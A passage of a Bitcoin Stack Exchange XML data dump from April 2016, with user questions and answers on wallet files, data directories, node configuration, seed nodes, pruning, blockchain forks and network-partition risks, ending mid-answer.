  <row Id="43629" PostTypeId="2" ParentId="43624" CreationDate="2016-04-05T13:47:36.423" Score="3" Body="&lt;p&gt;Although the blockchain as it is used in Bitcoin is a new and novel concept, the idea of a chain of blocks in the field of cryptography goes back to symmetric block cipher modes of operation.  Specifically, the common practice of &lt;a href=&quot;http://searchsecurity.techtarget.com/definition/cipher-block-chaining&quot; rel=&quot;nofollow&quot;&gt;cipher block chaining&lt;/a&gt;.  This practice was first described in &lt;a href=&quot;http://csrc.nist.gov/publications/fips/fips81/fips81.htm&quot; rel=&quot;nofollow&quot;&gt;a standard from 1981&lt;/a&gt;, although it was almost certainly in use before then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although cipher block chaining is fundamentally different than the chain of blocks that Bitcoin uses, it is an example from cryptography where a change to an earlier block affects all subsequent blocks.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-04-05T13:47:36.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43632" PostTypeId="1" CreationDate="2016-04-06T07:20:28.730" Score="3" ViewCount="187" Body="&lt;p&gt;I'm looking to compile a list of altcoins with plaintext transaction messaging embedded into the blockchain. If anyone knows of a coin that fits the bill then please share.&lt;/p&gt;&#xA;" OwnerUserId="24583" LastEditorUserId="5406" LastEditDate="2017-05-20T17:37:41.353" LastActivityDate="2020-08-15T15:02:30.230" Title="Altcoins with plaintext transaction messaging" Tags="|altcoin|transaction-messaging|" AnswerCount="2" CommentCount="1" ClosedDate="2020-08-15T17:01:25.340" ContentLicense="CC BY-SA 3.0" />
  <row Id="43633" PostTypeId="1" CreationDate="2016-04-06T09:17:14.350" Score="1" ViewCount="208" Body="&lt;p&gt;I am trying to understand Bitcoin addresses, but it does not seem to be easy at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, a Transaction uses one or more addresses as input and one or more addresses as output. Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it a bitcoin address is a hash of your public key. So it is not completely collision resistant. So how do you prove, that you are the owner of a bitcoin address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, since everybody can make an address from your public key and the recipient of a transaction does not have to sign the transaction, how do you make sure no one can send you Bitcoins without your consent? (I don't really know if this is a problem to be honest)&lt;/p&gt;&#xA;" OwnerUserId="34568" LastEditorUserId="5292" LastEditDate="2016-04-06T11:40:54.947" LastActivityDate="2016-04-06T11:40:54.947" Title="Bitcoin adresses seem not to be collision resistant. Please tell me I am wrong" Tags="|security|address|hash|ownership|" AnswerCount="1" CommentCount="0" ClosedDate="2016-04-08T05:17:02.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="43634" PostTypeId="2" ParentId="42733" CreationDate="2016-04-06T11:08:13.553" Score="3" Body="&lt;p&gt;First - you didn't specify if you use Bitcoin Core or any other program for maintaining your wallet, so the answer below presumes you used Bitcoin Core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The short version: it stores all of its data in %AppData%\Bitcoin&#xA;This folder usually translates to C:\users\\AppData\Bitcoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Underneath that folder you will find there the 'wallet.dat' file.&#xA;This is the file that has all of your addresses (including private keys). This is the file you'll need to copy.&lt;/strong&gt; &lt;br&gt;&#xA;You will find in that folder also a subfolder 'blocs' which is your local copy of the entire block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On both Win7 and Win10 those files reside under the same folder - %AppData%\Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So - simple copy instructions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install Bitcoin on the new (win10) machine (and don't start it yet)&lt;/li&gt;&#xA;&lt;li&gt;Stop Bitcoin on the old one&lt;/li&gt;&#xA;&lt;li&gt;Copy &lt;code&gt;%AppData%\Bitcoin\wallet.dat&lt;/code&gt; from old to the new one&lt;/li&gt;&#xA;&lt;li&gt;You may also want to copy the entire &lt;code&gt;%AppData%\Bitcoin\&lt;/code&gt; folder with the rest of the files and block chain, or you can download it again (it's &quot;only&quot; 20+ gigabytes)&lt;/li&gt;&#xA;&lt;li&gt;Once you're done with the copying you can start Bitcoin Core on the new computer.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Data_directory&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="34172" LastActivityDate="2016-04-06T11:08:13.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43635" PostTypeId="2" ParentId="43633" CreationDate="2016-04-06T11:39:49.080" Score="1" Body="&lt;p&gt;The public key is derived from the private key. Generating a private key is pretty collision resistant as the space is huge. The fact that an address is in turn a hash of the public key doesn't change that.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So how do you prove, that you are the owner of a bitcoin adress?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;By having the private key: only then can you sign transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consent of the receiver is not required to send a transaction. If the receiver really doesn't want free money, he can chose to not spend it.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-04-06T11:39:49.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43636" PostTypeId="1" AcceptedAnswerId="43637" CreationDate="2016-04-06T17:27:45.580" Score="0" ViewCount="2747" Body="&lt;p&gt;I am a rather new Bitcoin user, running bitcoin-qt on Linux.  However, due to limited disk space, the application is taking up too much of my drive.  I'm guessing this is due to the ever-expanding blockchain?  So, I was wondering if there is a way to relocate the data from bitcoin-qt to elsewhere.  I have another drive connected to my computer that I could put it on, but I do not know how to safely relocate it.  Thanks for taking a look!&lt;/p&gt;&#xA;" OwnerUserId="33188" LastActivityDate="2016-04-06T17:50:47.127" Title="How do I relocate my bitcoin data in bitcoin-qt to save space?" Tags="|bitcoin-core|linux|bitcoin-qt-setup|storage-footprint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43637" PostTypeId="2" ParentId="43636" CreationDate="2016-04-06T17:50:47.127" Score="3" Body="&lt;p&gt;I recommend reading about the &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Data Directory&lt;/a&gt;.  You should also take a look at this answer:  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10551/how-do-i-specify-in-which-directory-bitcoin-blocks-and-other-data-should-be-stor&quot;&gt;How do I specify in which directory Bitcoin blocks and other data should be stored?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, all your Bitcoin data is stored in &lt;code&gt;~/.bitcoin&lt;/code&gt; on Linux.  Not only can you specify a different location for this directory using &lt;code&gt;-datadir=/some/other/directory&lt;/code&gt;, but you could also symlink &lt;code&gt;~/.bitcoin&lt;/code&gt; to some other directory on a secondary disk or network share, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ln -s /some/other/directory ~/.bitcoin&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, from personal experience, I would suggest not using a network share.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-04-06T17:50:47.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43638" PostTypeId="1" AcceptedAnswerId="43639" CreationDate="2016-04-06T20:56:47.887" Score="0" ViewCount="1425" Body="&lt;p&gt;Bitcoind daemon return &quot;timeoffset&quot; : -10,-15,-50,-60 and more.. &#xA;&lt;p&gt;&#xA;Timeoffset value is constantly increasing(decreases*) (~ &quot;-1&quot; per day), i dont can restart daemon with command -reindex / -rescan (daemon restart with reindex/rescan is very long). &lt;p&gt;&#xA;&lt;strong&gt;How i can fix it ?&lt;/strong&gt;&#xA;&lt;p&gt;&#xA;Blocks count is valid (Sometimes there with delays 1-4 blocks)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;version&quot; : 110200,&#xA;    &quot;protocolversion&quot; : 70002,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 305.11300817,&#xA;    &quot;blocks&quot; : 406061,&#xA;    &quot;timeoffset&quot; : -75,&#xA;    &quot;connections&quot; : 10,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 166851513282.77719116,&#xA;    &quot;testnet&quot; : false,&#xA;    &quot;keypoololdest&quot; : 1457952689,&#xA;    &quot;keypoolsize&quot; : 10001,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;relayfee&quot; : 0.00005000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wallet.dat is big &lt;strong&gt;~95mb&lt;/strong&gt;, with &quot;connections&quot; : 35 - problem same..&#xA;&lt;p&gt;&#xA;Server(XEN) - 4gb ram / Xeon-2.60Ghz*4 / HDD 130gb/ Ubuntu 14.04.3 LTS / 100mbit/s&lt;/p&gt;&#xA;" OwnerUserId="34585" LastActivityDate="2016-04-06T21:27:34.840" Title="Bitcoind daemon return &quot;timeoffset&quot; : -10,-15,-50,-60 and more" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43639" PostTypeId="2" ParentId="43638" CreationDate="2016-04-06T21:27:34.840" Score="1" Body="&lt;p&gt;The timeoffset simply shows the relative time with respect to the peers you are connected to (actually the median of your peers). A consistent increase in the count would indicate that your server's clock is &lt;a href=&quot;https://en.wikipedia.org/wiki/Clock_drift&quot; rel=&quot;nofollow&quot;&gt;drifting&lt;/a&gt;, hence your server is counting time a bit faster than it's peers. This is normal (although 1 second/day drift is already quite a lot) and is not a cause for concern. If you'd like to fix it I suggest to synchronize with some timeserver over &lt;a href=&quot;https://en.wikipedia.org/wiki/Network_Time_Protocol&quot; rel=&quot;nofollow&quot;&gt;NTP&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-06T21:27:34.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43641" PostTypeId="2" ParentId="18540" CreationDate="2016-04-07T03:00:16.393" Score="1" Body="&lt;p&gt;You can create an exchange with &lt;a href=&quot;https://github.com/AdamCox9/nickelbot&quot; rel=&quot;nofollow&quot;&gt;https://github.com/AdamCox9/nickelbot&lt;/a&gt; and it only interacts with other exchanges so there is no need to set-up wallets on the server.&lt;/p&gt;&#xA;" OwnerUserId="34592" LastActivityDate="2016-04-07T03:00:16.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43642" PostTypeId="1" AcceptedAnswerId="43644" CreationDate="2016-04-07T04:28:51.870" Score="0" ViewCount="1393" Body="&lt;p&gt;I'm experimenting with blockchains at home and in my debug logs are lots of errors showing that my nodes are trying to get addresses from the hard coded seed nodes, I know I can use &lt;code&gt;connect&lt;/code&gt; to turn off this behaviour but I don't want to have to include that in my &lt;code&gt;bitcoin.conf&lt;/code&gt; file.&#xA;I am using Bitcoin v0.10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hints greatly appreciated :)&lt;/p&gt;&#xA;" OwnerUserId="15533" LastEditorUserId="15533" LastEditDate="2016-04-07T05:30:57.043" LastActivityDate="2018-06-16T06:39:57.163" Title="How do I remove hard coded seeds from the bitcoin source code?" Tags="|blockchain|blockchain-fork|private-blockchains|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="43643" PostTypeId="1" CreationDate="2016-04-07T04:35:08.513" Score="3" ViewCount="492" Body="&lt;p&gt;I'm on video 5 of the &lt;a href=&quot;https://www.youtube.com/watch?v=ENaTmbh8Xuw&amp;amp;nohtml5=False&quot; rel=&quot;nofollow&quot;&gt;Learncoin youtube series&lt;/a&gt; and I am getting an error when I try to run &lt;code&gt;./learncoind&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2016-04-07 03:40:40 connect() failed after select(): Connection refused&#xA;2016-04-07 03:40:40 trying connection MY-DROPLET-IP:9333 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have my SSH key setup for the droplet and the keys live in my ~/.ssh/id_rsa folder. I can access my droplet from the CLI using ssh root@MY-DROPLET-IP and then entering my SSH key password and my root password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really understand why ./learncoind isn't connecting.&lt;/p&gt;&#xA;" OwnerUserId="34594" LastActivityDate="2017-09-20T20:43:18.283" Title="./learncoind not connecting to DigitalOcean Droplet" Tags="|litecoin|daemon|learning|" AnswerCount="0" CommentCount="1" ClosedDate="2019-07-17T20:49:38.603" ContentLicense="CC BY-SA 3.0" />
  <row Id="43644" PostTypeId="2" ParentId="43642" CreationDate="2016-04-07T09:15:10.820" Score="3" Body="&lt;p&gt;There are a few ways to do it, I personally went into &lt;code&gt;src/net.cpp&lt;/code&gt; and commented out the &lt;code&gt;if&lt;/code&gt; condition that triggers the lookup starting at line 1266.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// if (addrman.size() == 0 &amp;amp;&amp;amp; (GetTime() - nStart &amp;gt; 60)) {&#xA;//     static bool done = false;&#xA;//     if (!done) {&#xA;//         LogPrintf(&quot;Adding fixed seed nodes as DNS doesn't seem to be available.\n&quot;);&#xA;//         addrman.Add(Params().FixedSeeds(), CNetAddr(&quot;127.0.0.1&quot;));&#xA;//         done = true;&#xA;//     }&#xA;// }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another effective fix was to remove all the encoded seed nodes from the two arrays located in &lt;code&gt;src/chainparamsseeds.cpp&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="15533" LastEditorUserId="15533" LastEditDate="2016-04-08T10:31:51.590" LastActivityDate="2016-04-08T10:31:51.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43645" PostTypeId="2" ParentId="43642" CreationDate="2016-04-07T09:46:00.500" Score="0" Body="&lt;p&gt;There is a seed vector (for TestNet or Regtest) of hard-coded seeds that gets populated in the source code (vFixedSeeds in src/chainparams.cpp i guess?). U can either comment out them or simply clear the vector to empty it. Then u can explicitly have your topology &lt;/p&gt;&#xA;" OwnerUserId="31482" LastActivityDate="2016-04-07T09:46:00.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43646" PostTypeId="1" CreationDate="2016-04-07T14:29:25.680" Score="0" ViewCount="83" Body="&lt;p&gt;I'm using the MultiBit wallet and I can't get my satoshis from faucetbox. I read on MultiBit page that the most secure way to receive a payment is generating a brand new wallet address.&#xA;That's my question, I'm using an old MultiBit wallet address on faucetbox, that can be the reason for this issue? I mean, not receiving my satoshis from faucetbox?&#xA;Sorry about my bad english :D&#xA;Peace for all.&lt;/p&gt;&#xA;" OwnerUserId="34605" LastActivityDate="2016-11-10T06:14:34.190" Title="Doubt about the MultiBit wallet" Tags="|multibit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43648" PostTypeId="1" CreationDate="2016-04-08T07:24:19.847" Score="0" ViewCount="392" Body="&lt;p&gt;This is my first time using bitcoin and I've had a transaction stuck for over 12 hours.   Any help getting confirmed would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/0b17a765b1f4a1a7e53a47b6da287b86211ea64126192ffc26a1d6d8920eab7a&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/0b17a765b1f4a1a7e53a47b6da287b86211ea64126192ffc26a1d6d8920eab7a&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34624" LastEditorUserId="120" LastEditDate="2016-04-10T15:52:56.387" LastActivityDate="2016-04-10T15:52:56.387" Title="Have a 0/unconfirmed transaction stuck over 12 hours" Tags="|unconfirmed-transactions|" AnswerCount="1" CommentCount="9" ClosedDate="2016-04-10T16:58:07.533" ContentLicense="CC BY-SA 3.0" />
  <row Id="43649" PostTypeId="2" ParentId="43648" CreationDate="2016-04-08T09:31:46.620" Score="3" Body="&lt;p&gt;I ran bitcoind with the --zapwallettxes flag and recovered the coins.  Thankyou for the help&lt;/p&gt;&#xA;" OwnerUserId="34624" LastActivityDate="2016-04-08T09:31:46.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43651" PostTypeId="1" CreationDate="2016-04-08T13:51:48.880" Score="2" ViewCount="136" Body="&lt;p&gt;Bitcoin assumes that everybody sees the same ledger. However, what if your ISP is evil, and modifies your view of the Bitcoin network? Is it possible for such an evil ISP to make your own transactions not go to the real Bitcoin network, while returning results that make you believe that everything is fine? Your local blockchain could end up extremely badly out of sync with the global blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this scenario possible? If so, what happens when you finally sync back with the real blockchain? As far as I understand, Bitcoin always chooses the longest blockchain, but couldn't your evil ISP simulate a really busy Bitcoin network to you so that your fake blockchain is even longer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean that applications like Satoshi Proof and Namecoin aren't really secure if networks can be maliciously partitioned? In Namecoin, for example, wouldn't it be possible for a bad ISP to simulate a blockchain that contains wrong domain information?&lt;/p&gt;&#xA;" OwnerUserId="13871" LastActivityDate="2016-05-10T15:57:29.733" Title="What happens when an attacker completely controlls your Internet connection?" Tags="|blockchain|namecoin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43654" PostTypeId="1" AcceptedAnswerId="43655" CreationDate="2016-04-09T03:06:42.790" Score="0" ViewCount="188" Body="&lt;p&gt;I would like to experiment with blockchains in a controlled environment for fun and/or development purposes. Is there a way to do this easily?&lt;/p&gt;&#xA;" OwnerUserId="15533" LastActivityDate="2016-04-16T22:28:54.210" Title="How can I create and distribute my own private blockchains in a scalable way?" Tags="|private-blockchains|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43655" PostTypeId="2" ParentId="43654" CreationDate="2016-04-09T03:06:42.790" Score="-1" Body="&lt;p&gt;Yes there is:&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/coinclone/cloner&quot; rel=&quot;nofollow&quot;&gt;https://github.com/coinclone/cloner&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can mine genesis blocks, configure common settings for nodes on your network and ship them easily using this opensource project.&lt;/p&gt;&#xA;" OwnerUserId="15533" LastEditorUserId="15533" LastEditDate="2016-04-16T22:28:54.210" LastActivityDate="2016-04-16T22:28:54.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43659" PostTypeId="2" ParentId="3034" CreationDate="2016-04-09T18:23:29.667" Score="0" Body="&lt;p&gt;Here's another wrapper also done in node.js, similar to the response above by ripper234.  This one works with stdin so you can use an external tool to pass in values: &lt;a href=&quot;https://github.com/salibhai1/bitcoin-bruteforce-decrypt&quot; rel=&quot;nofollow&quot;&gt;https://github.com/salibhai1/bitcoin-bruteforce-decrypt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3619" LastActivityDate="2016-04-09T18:23:29.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43660" PostTypeId="1" CreationDate="2016-04-09T21:02:27.510" Score="2" ViewCount="363" Body="&lt;p&gt;I've completed an empirical analysis of blockchain forks from block #300000 thru #400000. I found the following: (a) blockchain forks of length 1: observed every 380 blocks on average; (b) blockchain forks of length 2: none observed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recognize there is variation inherent in any such analysis, as different full nodes may produce different results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the above data &quot;ring true&quot;? I am keen to hear from anyone with good data (or even good intuition) and especially eager to hear from anyone with different numbers.&lt;/p&gt;&#xA;" OwnerUserId="32294" LastEditorUserId="120" LastEditDate="2016-04-10T16:33:27.170" LastActivityDate="2016-04-10T16:33:27.170" Title="Empirical analysis of blockchain branches: once every 380 blocks?" Tags="|blockchain|blockchain-fork|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43661" PostTypeId="1" AcceptedAnswerId="43662" CreationDate="2016-04-09T22:36:56.387" Score="2" ViewCount="1096" Body="&lt;p&gt;I recently signed up on blockchain.info and on the &lt;em&gt;manage addresses&lt;/em&gt; section I can see my wallet &lt;strong&gt;Extended Public Key (xPub)&lt;/strong&gt;. There is a warning message saying:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You should only give this Extended Public Key (xPub) to those you&#xA;  trust. With this information, they may be able to keep track of your&#xA;  payments, and may be able to disrupt your access to your wallet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'd like to know how this works. How could someone keep track of payments that a wallet receives and sends if he knows it's Extended Public Key?&lt;/p&gt;&#xA;" OwnerUserId="34455" LastActivityDate="2016-06-09T02:21:01.833" Title="How to track bitcoin wallet activity with extended public key?" Tags="|wallet|address|blockchain.info|public-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43662" PostTypeId="2" ParentId="43661" CreationDate="2016-04-10T01:13:44.423" Score="1" Body="&lt;p&gt;Using the extended public key one could derive all of the addresses associated with your wallet. This would allow someone to determine future and current addresses in your wallet, this could allow someone to monitor your financial activities. I'm not sure how they could disrupt access to your wallet. I believe it functions similar to a HD wallet public key.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-04-10T01:13:44.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43664" PostTypeId="1" CreationDate="2016-04-10T11:03:29.423" Score="2" ViewCount="854" Body="&lt;p&gt;I've waited 4 days now for Bitcoin Core v0.12.0 to synchronise the network and its getting really frustrating, especially when I still have 2 years and 38 weeks worth of the blockchain to download. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is I previously bought some Bitcoins to the address provided by Bitcoin Core before I realised that the blockchain had to be fully synchronised before I could see the transaction in the wallet! I now am a little bit stuck; Is there a way to move that Bitcoin address from Bitcoin Core to a completely new wallet like Electrum? Or is there a way to speed up the process of Bitcoin Core synchronising?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jordan Ellis&lt;/p&gt;&#xA;" OwnerUserId="34668" LastEditorUserId="18196" LastEditDate="2016-04-10T17:06:19.787" LastActivityDate="2016-08-08T19:02:33.900" Title="What can I do with Bitcoin Core to see my current balance?" Tags="|blockchain|wallet|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43665" PostTypeId="2" ParentId="43664" CreationDate="2016-04-10T13:56:42.787" Score="2" Body="&lt;p&gt;Bitcoin Core incrementally shows transactions you received as it processes blocks, so if you received the transactions a while ago they should pop up soon. You will not be able to independently verify the validity of your transactions without fully synchronizing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to check the balance of your addresses it might be sufficient to look up the addresses on a public block explorer. The &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;JSON-API&lt;/a&gt; gives you various methods for retrieving your addresses from Bitcoin Core. Once you have the addresses simply check their balance using a block explorer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If however you'd like to move to a different wallet, the &lt;code&gt;backupwallet&lt;/code&gt; API should give you a copy of your wallet that other wallet software can import.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-10T13:56:42.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43666" PostTypeId="2" ParentId="43660" CreationDate="2016-04-10T14:01:57.437" Score="2" Body="&lt;p&gt;Blockchain forks are an artifact from the network propagation and appear at random intervals (and far more often than what you observed). It is important to note that since nodes do not forward information that contradicts their view of the network, i.e., they have accepted one of the forks, you will not be able to observe all forks in the network, but only those that are propagated to you through the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For details on what causes blockchain forks and their impact on the security/performance of the network see &lt;a href=&quot;http://www.tik.ee.ethz.ch/file/49318d3f56c1d525aabf7fda78b23fc0/P2P2013_041.pdf&quot; rel=&quot;nofollow&quot;&gt;Information Propagation in the Bitcoin Network&lt;/a&gt; (disclaimer: I am one of the authors).&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-10T14:01:57.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43667" PostTypeId="1" AcceptedAnswerId="43668" CreationDate="2016-03-31T09:26:41.513" Score="1" ViewCount="201" Body="&lt;p&gt;I need to configure the bitcoin core and synchronize the bitcoin network.&#xA;I have bought a server with 1GB ram and 20GB hard disk space is it possible to run bitcoin run in this machine ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me to install and configure the bitcoin &#xA;Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="34721" OwnerDisplayName="Hareendranath P" LastEditorUserId="5406" LastEditDate="2016-04-10T21:34:19.520" LastActivityDate="2016-04-10T21:34:19.520" Title="Bitcoin core installation" Tags="|bitcoind|server|bitcoin.conf|pruning|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43668" PostTypeId="2" ParentId="43667" CreationDate="2016-04-10T11:38:45.643" Score="1" Body="&lt;p&gt;Since you mention a server, you'll probably want to run the daemon, &lt;code&gt;bitcoind&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The size of the blockchain has eclipsed 20 GiB a long time ago, so you'll want to run with the flag &lt;code&gt;-prune=&amp;lt;n&amp;gt;&lt;/code&gt; which gives a limit for the storage used for the blockchain data. The blockchain data will still be downloaded and verified, but old parts will be discarded once the limit is reached. &lt;code&gt;n&lt;/code&gt; is given in MiB. There are some other data requirements, so you should leave some space, e.g. &lt;code&gt;-prune=5000&lt;/code&gt; would leave you with approximately the last five weeks of blockchain data. If you want to access all transaction data, you would need to invest in more hard disk space to be able to run without pruning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you want to actively use it for transacting, you should run it with &lt;code&gt;-disablewallet&lt;/code&gt; to save some resources.&lt;/p&gt;&#xA;" OwnerUserId="5406" OwnerDisplayName="Murch" LastActivityDate="2016-04-10T12:05:11.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43669" PostTypeId="2" ParentId="43660" CreationDate="2016-04-10T15:13:00.323" Score="1" Body="&lt;p&gt;Christian--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for the answer AND the link to your paper. This is exactly the type of information I was hoping for, but was unable to find myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To confirm I understand, allow me to use a recent blockchain branch at block height 406197. Here is the output from getchaintips from my full node:&#xA;    &quot;height&quot;: 406197,&#xA;    &quot;hash&quot;: &quot;0000000000000000033f1b617ad5c03cec10a6bcc19ce0778e8d75fdbf1ed152&quot;,&#xA;    &quot;branchlen&quot;: 1,&#xA;    &quot;status&quot;: &quot;valid-fork&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And is my representation of the blockchain branch:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VCMIt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VCMIt.png&quot; alt=&quot;Blockchain Branch&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main chain resolved in favor of what I will call block #406197-b5ab. With that data, I have a few clarifying questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[a] If full nodes only propagate blocks that agree with their &quot;worldview&quot; of the blockchain, does that mean there were sufficient full nodes that accepted block #406197-d152 (eventually orphaned) to relay that block to my full node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[b] Does the information imply that my full node INITIALLY accepted block #406196-d152 and THEN received block #306197-b5ab? Or vice versa?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My networking knowledge is sound, my queuing theory knowledge is only modest. I am hoping to develop an accurate mental model of a blockchain branch using this particular branch as an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for the time &amp;amp; help!&#xA;Pressed250.&lt;/p&gt;&#xA;" OwnerUserId="32294" LastActivityDate="2016-04-10T15:13:00.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43670" PostTypeId="2" ParentId="43651" CreationDate="2016-04-10T15:51:42.833" Score="1" Body="&lt;p&gt;Yes, the scenario is possible. The attacker has two possibilities: censoring data sent to the network (likely your transactions) and censoring what the nodes sees from the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first case the isolated node will attempt to resend transactions that belong to it until they get invalidated or committed into the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the second case the isolated node will not receive incoming transactions and eventually will not receive blocks (if these contain censored transactions). It is however not possible to fool the node into considering transactions as confirmed without the attacker also producing a valid proof-of-work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same argument is valid for Satoshi Proof and Namecoin, you can hide transactions, facts and domains, but you cannot inject wrong information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once reconnected the node will synchronize with the network (download blockchain 